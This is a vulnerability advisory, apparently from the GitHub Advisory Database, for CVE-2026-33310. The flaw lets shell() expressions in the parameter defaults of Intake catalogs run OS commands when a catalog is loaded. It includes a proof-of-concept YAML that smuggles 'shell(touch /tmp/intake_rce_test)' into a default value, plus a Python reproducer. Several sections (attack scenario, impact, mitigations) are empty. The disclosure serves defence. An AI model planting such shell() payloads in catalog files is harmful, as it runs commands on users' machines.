intake
Affected
- introduced
0, last affected2.0.9(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-33310, PYSEC-2026-2185
Intake has a Command Injection via shell() Expansion in Parameter Defaults
Summary
The shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process.
If a catalog contains a parameter default such as shell(<command>), the command may be executed when the catalog source is accessed.
This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system.
This behavior could potentially be classified as OS Command Injection / Unsafe Shell Expansion.
Details
The issue appears to originate from how parameter default values are expanded when a catalog source is accessed.
During catalog loading and source access:
Intake resolves parameter default values
The function responsible for expanding defaults processes the shell() syntax
The shell expression triggers a subprocess execution
Because this occurs during catalog evaluation, the command may execute before the user explicitly interacts with the dataset itself.
Affected logic appears to involve:
expand_defaults()
and related parameter parsing mechanisms.
PoC
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "Testing shell expansion in parameters"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "Test Parameter"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Accessing source...")
_ = cat["rce_test"]
except Exception as e:
print(f" Error during execution: {e}")
if os.path.exists(PROOF_FILE):
print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
print("Command execution did not occur.")
Attack Scenario
A potential attack scenario could be:
Impact
If this behavior is confirmed to be unintended, an attacker could distribute a malicious catalog file via:
Recommendation
Possible mitigations could include:
Please let me know if additional information or testing is needed.
I'm happy to assist with further analysis or validation.
High Basis: The source's own band: HIGH
0, last affected 2.0.9 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0